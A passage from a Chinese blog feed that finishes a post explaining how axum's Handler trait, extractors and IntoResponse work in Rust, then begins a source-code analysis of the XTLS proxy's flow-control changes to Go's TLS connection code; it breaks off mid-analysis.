&lt;p&gt;这里一定有一些很 NB 的处理。&lt;&#x2F;p&gt;
&lt;p&gt;如果你仔细研究这段代码，会发现 route 方法第二个参数 T 需要一个实现了 tower Service trait 的数据结构 T：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;pub fn route&amp;lt;T&amp;gt;(mut self, path: &amp;amp;str, service: T) -&amp;gt; Self
    where
        T: Service&amp;lt;Request&amp;lt;B&amp;gt;, Response = Response, Error = Infallible&amp;gt; + Clone + Send + &amp;#x27;static,
        T::Future: Send + &amp;#x27;static
{ ... }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们的 &lt;code&gt;create_user&lt;&#x2F;code&gt; 函数显然不满足这个要求。那么，肯定是 &lt;code&gt;post()&lt;&#x2F;code&gt; 做了什么。如果翻翻代码，会发现它实际上会被展开成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;let app = Router::new().route(&amp;quot;&amp;#x2F;users&amp;quot;, on(MethodFilter::POST, create_user));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们看 &lt;code&gt;axum::routing::on&lt;&#x2F;code&gt; 这个函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;pub fn on&amp;lt;H, T, B&amp;gt;(
    filter: MethodFilter,
    handler: H
) -&amp;gt; MethodRouter&amp;lt;B, Infallible&amp;gt;
where
    H: Handler&amp;lt;T, B&amp;gt;,
    B: Send + &amp;#x27;static,
    T: &amp;#x27;static,
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它返回 MethodRouter，而 MethodRouter 实现了 Service trait。那么，我们的函数 &lt;code&gt;create_user&lt;&#x2F;code&gt; 满足 Handler trait 么？因为这是 on 函数的要求，如果要编译通过，就一定需要满足。我们再来看一下 Handler trait 长什么样子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#[async_trait]
pub trait Handler&amp;lt;T, B = Body&amp;gt;: Clone + Send + Sized + &amp;#x27;static {
    &amp;#x2F;&amp;#x2F; This seals the trait. We cannot use the regular &amp;quot;sealed super trait&amp;quot;
    &amp;#x2F;&amp;#x2F; approach due to coherence.
    #[doc(hidden)]
    type Sealed: sealed::HiddenTrait;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Call the handler with the given request.
    async fn call(self, req: Request&amp;lt;B&amp;gt;) -&amp;gt; Response;

    fn layer&amp;lt;L&amp;gt;(self, layer: L) -&amp;gt; Layered&amp;lt;L::Service, T&amp;gt;
    where
        L: Layer&amp;lt;IntoService&amp;lt;Self, T, B&amp;gt;&amp;gt;,
    { ... }
    fn into_service(self) -&amp;gt; IntoService&amp;lt;Self, T, B&amp;gt; { ... }
    fn into_make_service(self) -&amp;gt; IntoMakeService&amp;lt;IntoService&amp;lt;Self, T, B&amp;gt;&amp;gt; { ... }
    fn into_make_service_with_connect_info&amp;lt;C, Target&amp;gt;(
        self
    ) -&amp;gt; IntoMakeServiceWithConnectInfo&amp;lt;IntoService&amp;lt;Self, T, B&amp;gt;, C&amp;gt;
    where
        C: Connected&amp;lt;Target&amp;gt;,
    { ... }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个 trait 看着比较复杂，但它真正需要实现的是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;async fn call(self, req: Request&amp;lt;B&amp;gt;) -&amp;gt; Response;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;进一步看文档你可以发现对于 0-16 个参数的函数（FnOnce）都自动实现了 Handler trait，我们挑一个有两个参数的实现看看：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;impl&amp;lt;F, Fut, B, Res, T1, T2&amp;gt; Handler&amp;lt;(T1, T2), B&amp;gt; for F
where
    F: FnOnce(T1, T2) -&amp;gt; Fut + Clone + Send + &amp;#x27;static,
    Fut: Future&amp;lt;Output = Res&amp;gt; + Send,
    B: Send + &amp;#x27;static,
    Res: IntoResponse,
    T1: FromRequest&amp;lt;B&amp;gt; + Send,
    T2: FromRequest&amp;lt;B&amp;gt; + Send
{ ... }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;是不是一下子豁然开朗了？只要 &lt;code&gt;create_user&lt;&#x2F;code&gt; 传入的每个参数都是个 extractor（实现了 FromRequest trait），那么它就可以被当做 Handler 使用，由此整条链都打通了。&lt;&#x2F;p&gt;
&lt;p&gt;那么，这 0-16 个不同参数的实现是怎么创建出来的呢？想想看。&lt;&#x2F;p&gt;
&lt;p&gt;没错，是通过声明宏：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;macro_rules! impl_handler {
    ( $($ty:ident),* $(,)? ) =&amp;gt; {
        #[async_trait]
        #[allow(non_snake_case)]
        impl&amp;lt;F, Fut, B, Res, $($ty,)*&amp;gt; Handler&amp;lt;($($ty,)*), B&amp;gt; for F
        where
            F: FnOnce($($ty,)*) -&amp;gt; Fut + Clone + Send + &amp;#x27;static,
            Fut: Future&amp;lt;Output = Res&amp;gt; + Send,
            B: Send + &amp;#x27;static,
            Res: IntoResponse,
            $( $ty: FromRequest&amp;lt;B&amp;gt; + Send,)*
        {
            type Sealed = sealed::Hidden;

            async fn call(self, req: Request&amp;lt;B&amp;gt;) -&amp;gt; Response {
                let mut req = RequestParts::new(req);

                $(
                    let $ty = match $ty::from_request(&amp;amp;mut req).await {
                        Ok(value) =&amp;gt; value,
                        Err(rejection) =&amp;gt; return rejection.into_response(),
                    };
                )*

                let res = self($($ty,)*).await;

                res.into_response()
            }
        }
    };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意看 call 这个方法的实现，其中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;$(
    let $ty = match $ty::from_request(&amp;amp;mut req).await {
        Ok(value) =&amp;gt; value,
        Err(rejection) =&amp;gt; return rejection.into_response(),
    };
)*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是对每个 $ty（T1, T2, ...）依次调用 from_request()，得到你的 handler 需要的变量（也用 T1, T2 ...，这是为什么需要 &lt;code&gt;#[allow(non_snake_case)]&lt;&#x2F;code&gt;，否则编译器会报警），然后将它们传入：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;let res = self($($ty,)*).await;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以当你的 &lt;code&gt;create_user&lt;&#x2F;code&gt; 需要一个或者两个参数时，能够被正确调用 —— 因为你需要的参数都可以通过 from_request() 生成，并传入。&lt;&#x2F;p&gt;
&lt;p&gt;到现在为止，我们应该领略到了 axum 设计上的精妙：通过 extractor，axum 成功解决了两个看似互斥的困扰 web 框架的问题：灵活性和可复用性。我们可以为各种场景构建正交但可以组合在一起的 extractor，然后把它们作为参数传给 handler 就可以。从使用的体验上看，简直比动态语言还要「动态」。&lt;&#x2F;p&gt;
&lt;p&gt;不过，虽然这样做大大提升了易用性，但也增加了错误消息的复杂度。如果你输入的参数因为某些原因，不符合 FromRequest trait，那么，axum 编译期产生的错误会非常难懂。所以，一旦你的路由的 handler 出现奇奇怪怪的编译错误，先不要忙着盘查错误本身，首先检查一下所有的参数是否满足了 FromRequest trait。&lt;&#x2F;p&gt;
&lt;p&gt;那么，axum 默认都实现了哪些 extractor 呢？我们看下图：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] axum Extractor：BodyStream 请求体流、ConnectInfo 连接信息、ContentLengthLimit 限大小、Extension 取扩展值、Form 表单解析、MatchedPath 匹配路径、Multipart 文件上传、OriginalUri 原始 URI、Path URL 参数解析、Query 查询串解析、RawBody&#x2F;RawQuery 原始体&#x2F;查询串、TypedHeader 类型化头、WebSocketUpgrade WS 升级。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这些都是你可以在路由的 handler 中随便组合使用的。这里提一句 Extension：当你需要访问共享的状态时（比如一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;tencentdb-catalog?from_column=20065&amp;amp;from=20065&quot;&gt;数据库&lt;&#x2F;a&gt;连接池），可以通过 layer 方法添加这个共享的状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;struct State {
    &amp;#x2F;&amp;#x2F; ...
}

async fn handler(state: Extension&amp;lt;Arc&amp;lt;State&amp;gt;&amp;gt;) {
    &amp;#x2F;&amp;#x2F; ...
}

let state = Arc::new(State { &amp;#x2F;* ... *&amp;#x2F; });

let app = Router::new().route(&amp;quot;&amp;#x2F;&amp;quot;, get(handler))
    &amp;#x2F;&amp;#x2F; Add middleware that inserts the state into all incoming request&amp;#x27;s
    &amp;#x2F;&amp;#x2F; extensions.
    .layer(AddExtensionLayer::new(state));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要注意的是，extension 需要数据结构实现 Clone，因为在每个 request 到达时都会复制这个 extension，所以 extension 一般都使用 Arc::new() 创建出来的 state 比较好。&lt;&#x2F;p&gt;
&lt;p&gt;最后，再谈谈 Response。讲完了 extractor 背后的神秘逻辑后，你现在也许不会惊讶于下面这样的路由 handler 函数都可以使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;async fn plain_text() -&amp;gt; &amp;amp;&amp;#x27;static str {
    &amp;quot;foo&amp;quot;
}

async fn json() -&amp;gt; Json&amp;lt;Value&amp;gt; {
    Json(json!({ &amp;quot;data&amp;quot;: 42 }))
}

let app = Router::new()
    .route(&amp;quot;&amp;#x2F;plain_text&amp;quot;, get(plain_text))
    .route(&amp;quot;&amp;#x2F;json&amp;quot;, get(json));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里面的魔法还是 trait。我们再仔细看看刚才讲过的 Handler trait 为两个参数的函数的实现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;impl&amp;lt;F, Fut, B, Res, T1, T2&amp;gt; Handler&amp;lt;(T1, T2), B&amp;gt; for F
where
    F: FnOnce(T1, T2) -&amp;gt; Fut + Clone + Send + &amp;#x27;static,
    Fut: Future&amp;lt;Output = Res&amp;gt; + Send,
    B: Send + &amp;#x27;static,
    Res: IntoResponse,
    T1: FromRequest&amp;lt;B&amp;gt; + Send,
    T2: FromRequest&amp;lt;B&amp;gt; + Send
{ ... }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到，这个函数 F 返回的 Future 吐出来的 Output 需要是 Res 类型，而 Res 需要满足 IntoResponse：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;pub trait IntoResponse {
    fn into_response(self) -&amp;gt; Response&amp;lt;UnsyncBoxBody&amp;lt;Bytes, Error&amp;gt;&amp;gt;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 axum 里，很多类型都已经实现了 IntoResponse，包括 &amp;amp;’static str 和 Json&amp;lt;T&amp;gt;。我们看 &amp;amp;’static str 的实现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;impl IntoResponse for &amp;amp;&amp;#x27;static str {
    #[inline]
    fn into_response(self) -&amp;gt; Response {
        Cow::Borrowed(self).into_response()
    }
}

impl IntoResponse for Cow&amp;lt;&amp;#x27;static, str&amp;gt; {
    fn into_response(self) -&amp;gt; Response {
        let mut res = Response::new(boxed(Full::from(self)));
        res.headers_mut().insert(
            header::CONTENT_TYPE,
            HeaderValue::from_static(mime::TEXT_PLAIN_UTF_8.as_ref()),
        );
        res
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它会创建一个 Response，还贴心地添加了 &lt;code&gt;text&#x2F;plain; charset=utf-8&lt;&#x2F;code&gt; 这个 content-type。&lt;&#x2F;p&gt;
&lt;p&gt;axum 刚推出来时，给我带来的震撼是全方位的，它颠覆了我对静态语言的认知。我从未想过可以写出这么灵活，且还是做了严格类型检查的 Rust 代码。axum 给了我很大的设计上的启示：在构建基础框架时，trait + 少量的辅助宏，可以大大提升用户代码的灵活性、易用性以及可组合性。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>xtls-流控缺陷分析</title>
        <published>2025-04-18T00:00:00+00:00</published>
        <updated>2025-04-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/xtls-流控缺陷分析/"/>
        <id>https://vercel.juzhong.asia/obsidian/xtls-流控缺陷分析/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/xtls-流控缺陷分析/">&lt;h1 id=&quot;xtls-liu-kong-que-xian-fen-xi&quot;&gt;xtls-流控缺陷分析&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;geng-xin&quot;&gt;更新&lt;&#x2F;h2&gt;
&lt;p&gt;xtls在22年下半年推出了vision流控，一定程度上解决了本文提到的问题。本文作为启蒙读物，依然留在这里。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xtls-dao-di-shen-me-yuan-li&quot;&gt;xtls 到底什么原理？&lt;&#x2F;h2&gt;
&lt;p&gt;xtls从来没有人仔细解释过，唯一的解释来自rprx； 他还故意使用不同的开源协议（MPL，而不是GPL，大概就是说 MPL 支持用软件赚钱？目前我对MPL的理解），导致了分家事件；&lt;&#x2F;p&gt;
&lt;p&gt;他对xtls原理的解释： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;releases&#x2F;tag&#x2F;xtls&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;RPRX&#x2F;v2ray-vless&#x2F;releases&#x2F;tag&#x2F;xtls&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;从第二个内层 TLS data record 开始，数据不二次加解密，直接转发，且从外面看还是一条连贯的普通 TLS。&lt;&#x2F;li&gt;
&lt;li&gt;Write 和 Read 妥善处理非预期数据和中间人攻击等，对任何干扰的反应与普通 TLS 表现一致。&lt;&#x2F;li&gt;
&lt;li&gt;服务端无法被主动探测出差异：VLESS 在验证 UUID、该用户请求且可以用 XTLS 后才会开启它的特殊功能。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;看它的说明，似乎就是说，如果客户端经由代理申请了一个tls握手后，xtls会直接利用这个客户端已经加密好的部分，直接发送到 服务端，而不是再包一层加密；这样的话，实际上xtls几乎什么也没做，可以说对cpu的加密解密开销减少了100%&lt;&#x2F;p&gt;
&lt;p&gt;后来我想起来了，就是说，如果 xtls直接传输未知数据的话，效果是和 tls是一样的；比如，如果使用xtls 来访问telegram，因为telegram 的加密协定称为MTProto，并不是https，那么xtls就和tls没区别。&lt;&#x2F;p&gt;
&lt;p&gt;如果使用xtls 浏览https网页的话就不一样了，因为此时 xtls 内部传输的不是一般数据，而是另一层 tls；那么xtls显然就是为解决这个问题而诞生的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-ma-fen-xi&quot;&gt;源码分析&lt;&#x2F;h2&gt;
&lt;p&gt;我对比一下吧，xtls的源码在 github.com&#x2F;xtls&#x2F;go&lt;&#x2F;p&gt;
&lt;p&gt;在 xtls 的源码中，transport&#x2F;internet&#x2F;xtls&#x2F;xtls.go 文件里，引用了 github.com&#x2F;xtls&#x2F;go&lt;&#x2F;p&gt;
&lt;p&gt;xtls是使用了go的 crypto&#x2F;tls 的源码 conn.go 作为蓝本 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Go&#x2F;blob&#x2F;main&#x2F;conn.go&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Go&#x2F;blob&#x2F;main&#x2F;conn.go&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;把它下载下来，用 diff命令比较一下与go官方文件的异同&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;xtls把 conn改成了 Connection，外界有需要这个conn的地方吗？确实用到了，在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;blob&#x2F;7dcf08c5ef21b7e48dc8753af171cde5c99d1bd9&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go#L459&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;blob&#x2F;7dcf08c5ef21b7e48dc8753af171cde5c99d1bd9&#x2F;proxy&#x2F;vless&#x2F;inbound&#x2F;inbound.go#L459&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;多了下述字段&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;DirectMode bool
DirectPre  bool
DirectIn   bool
DirectOut  bool

RPRX bool
SHOW bool
MARK string

ic, oc int

fall  bool
total int
count int

taken bool
first bool
index int
cache byte
skip  int
maybe bool
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;已经知道的是，这个 SHOW 只是用于打印错误或者debug信息，MARK只是针对该连接的作者可以自定义的一个标志，RPRX代表使用xtls与否。&lt;&#x2F;p&gt;
&lt;p&gt;根据后面的分析，DirectIn 和 DirectOut 是 “判断完成，且该连接使用xtls 的 direct 流控” 的标志，在 Read 和 Write方法里会用到。&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;在 readRecordOrCCS 中发生了较大改变，具体是 &lt;code&gt;&#x2F;&#x2F; Process message.&lt;&#x2F;code&gt;注释的下面.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;具体来说，他把 原先的下述代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;data, typ, err := c.in.decrypt(record)
if err != nil {
	return c.in.setErrorLocked(c.sendAlert(err.(alert)))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;替换为了长达70多行的代码，其中有很多关于 &lt;code&gt;c.fall&lt;&#x2F;code&gt;的判断。&lt;&#x2F;p&gt;
&lt;p&gt;原来默认就会decrypt，而这里的话，只有在 下述条件成立时才会 decrypt&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;if !c.fall || typ != 23 || n == 19 {
	data, typ, err = c.in.decrypt(record)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;typ==23&lt;&#x2F;code&gt; 实际上是判断是否为 recordTypeApplicationData 类型（见common.go，一共四个类型，从20 - 23，分别是 ChangeCipherSpec，Alert，Handshake，ApplicationData ）他不使用该常量是败笔。&lt;&#x2F;p&gt;
&lt;p&gt;这里 19 显然是魔数，根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Go&#x2F;issues&#x2F;8&quot;&gt;XTLS&#x2F;Go#8&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;19 是 TLSv1.3 alert 消息的常见密文长度，这里认为它可能是TLSv1.3 的 alert&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;后面代码 有判断 &lt;code&gt;c.vers == 772&lt;&#x2F;code&gt;,772就是指 tls v1.3 ; 他不使用VersionTLS13 常量是个败笔。&lt;&#x2F;p&gt;
&lt;p&gt;后面判断 23 3 3 后 会设置 c.total 和 c.ic; 后面会根据 c.total 以及某条件，设置 c.fall = true，然后打开 c.DirectPre 开关。&lt;&#x2F;p&gt;
&lt;p&gt;值得注意的是，c.fall, c.total 和 c.ic 只在这一段代码里使用。&lt;&#x2F;p&gt;
&lt;p&gt;这个条件的话，根据后面的 writeRecordLocked 部分分析，也是去判断数据包是否符合 tls v1.3或 tlsv1.2, c.ic 应该是去累加十个包，然后把长度算在一起看符不符合头部标明的长度&lt;&#x2F;p&gt;
&lt;p&gt;同时，如果c.fall后，typ == 23 (即此时认为这是正常数据），则会 c.in.incSeq()， 表示收到了这个record，（即未经过decrypt直接接受了这个record）。&lt;&#x2F;p&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;writeRecordLocked 方法 发生了较大改变, 插入了近140行代码&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;具体而言，它把原来代码的部分打上了一个 normal 标签，然后在首部判断，不符合条件就会跳转回原代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;if !c.RPRX {
	goto normal
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后他的代码部分判断了很多 &lt;code&gt;c.taken&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;c.first，c.taken，c.oc，c.skip 都只在这部分使用。&lt;&#x2F;p&gt;
&lt;p&gt;这里，只有 c.taken 才表示 属于需要xtls处理的部分；只有在 type为23时，且 data 前面是 23 3 3 时， 才有可能 c.taken 设为true&lt;&#x2F;p&gt;
&lt;p&gt;这个 23 3 3 是什么情况？&lt;&#x2F;p&gt;
&lt;p&gt;根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;halfrost.com&#x2F;https_record_layer&#x2F;&quot;&gt;https:&#x2F;&#x2F;halfrost.com&#x2F;https_record_layer&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TLS 1.3 中的 additional_data 中的 2 个参与计算的字段值是固定死的(opaque_type&lt;&#x2F;strong&gt; &lt;strong&gt;=&lt;&#x2F;strong&gt; &lt;strong&gt;23、legacy_record_version&lt;&#x2F;strong&gt; &lt;strong&gt;=&lt;&#x2F;strong&gt; &lt;strong&gt;0x0303)&lt;&#x2F;strong&gt; 。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这个还可以参考 RFC标准： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8446&quot;&gt;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8446&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;总之还是判断tls 1.3（根据后面阅读rfc文件，发现tls1.2也是 23 3 3 ）&lt;&#x2F;p&gt;
&lt;p&gt;仔细分析，首先 默认 c.RPRX 标志是打开的，true，然后，在 &lt;code&gt;if !c.taken &amp;amp;&amp;amp; !c.first &amp;amp;&amp;amp; typ == 23 &amp;amp;&amp;amp; l &amp;gt;= 5 {&lt;&#x2F;code&gt; 时，如果 xtls协议使用的是 tls1.3协议，则继续判断，否则则直接将 c.RPRX 标志关闭。继续判断的部分，可以理解为，如果 内部包里，有连续十个都不满足 一定条件，则会 关闭 c.RPRX 开关。若10个以内有一个满足条件，则设 c.taken 为true。&lt;&#x2F;p&gt;
&lt;p&gt;也就是说，如果xtls协议使用的是 tls1.1, 和 tls1.2，就少了一步额外检查；如果 xtls协议使用的是 tls1.3，则要检查至多十遍内部包的数据头。&lt;&#x2F;p&gt;
&lt;p&gt;c.taken 后，它会遍历数据的每一个字节；c.index 和 c.skip 初始值都为0，首先找值为23的字节，找到的话，index变为1，之后找3，index变为2，继续找3，index变为3，之后找&amp;lt;=66的值，index变为4，之后计算 c.skip的值，值为19的话，设 c.maybe = true&lt;&#x2F;p&gt;
&lt;p&gt;然后c.skip就不为0了，在下一个字节时，进行 c.skip 判断。操作一下 c.skip 后，无论skip &amp;lt;0 与否，都会控制整个for循环；只有在 c.first 时，才有可能打开 c.DirectOut开关。&lt;&#x2F;p&gt;
&lt;p&gt;c.skip &amp;lt; 0 的话，无论c.first判断如何，判断后都会continue循环；然后会依据 c.skip 来设置 i 的值，然后设 c.skip = 0；&lt;&#x2F;p&gt;
&lt;p&gt;在 c.first时，i的值会传给f，然后 还要调用一次 &lt;code&gt;c.writeRecordLocked(23, data[:f])&lt;&#x2F;code&gt;, 然后 关闭c.first, 打开 DirectOut开关&lt;&#x2F;p&gt;
&lt;p&gt;如果 c.skip &amp;gt;=0 ，若 c.first 则会 在 c.skip 为0 时，关闭c.first, 打开 DirectOut 开关，然后 goto normal， 否则会结束整个循环,&lt;&#x2F;p&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Write 方法 的首行，添加了 &lt;code&gt;if c.DirectOut {&lt;&#x2F;code&gt; 代码段&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;具体而言，他经过一些判断后，舍弃了 后 31 字节的数据，只write前面的数据; 根据资料，这里判断的是 close_notify 信息。&lt;&#x2F;p&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;Read 方法首行，添加了 &lt;code&gt;if c.DirectIn&lt;&#x2F;code&gt; 和 &lt;code&gt;if c.DirectPre&lt;&#x2F;code&gt; 的代码段&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在 c.DirectIn 时，直接从Connection中读取；在 DirectPre 时，依次从 input ， rawInput，和 Connection 读取，读取到任意一个后就会直接返回。&lt;&#x2F;p&gt;
&lt;ol start=&quot;8&quot;&gt;
&lt;li&gt;Close 方法的 首行，添加了 &lt;code&gt;if c.DirectOut&lt;&#x2F;code&gt; 代码段；在DirectOut时，不加额外措施，直接close&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;zong-jie-xtlsde-yuan-li&quot;&gt;总结 xtls的原理&lt;&#x2F;h2&gt;
&lt;p&gt;请注意 &lt;code&gt; typ == 23 &amp;amp;&amp;amp; l &amp;gt;= 5&lt;&#x2F;code&gt; 和 &lt;code&gt;if c.vers == 772 {&lt;&#x2F;code&gt; 这两片代码，分别在 readRecordOrCCS 和 writeRecordLocked 各出现了一次&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;halfrost.com&#x2F;https_record_layer&#x2F;&quot;&gt;https:&#x2F;&#x2F;halfrost.com&#x2F;https_record_layer&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 TLS 1.2 规范中，高层协议有 4 个，分别是 change_cipher_spec、alert、handshake、application_data。在 TLS 1.3 规范中高层协议也有 4 个，分别是 alert、handshake、application_data，heartbeat。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5246&quot;&gt;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5246&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;change_cipher_spec(20), alert(21), handshake(22),application_data(23)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
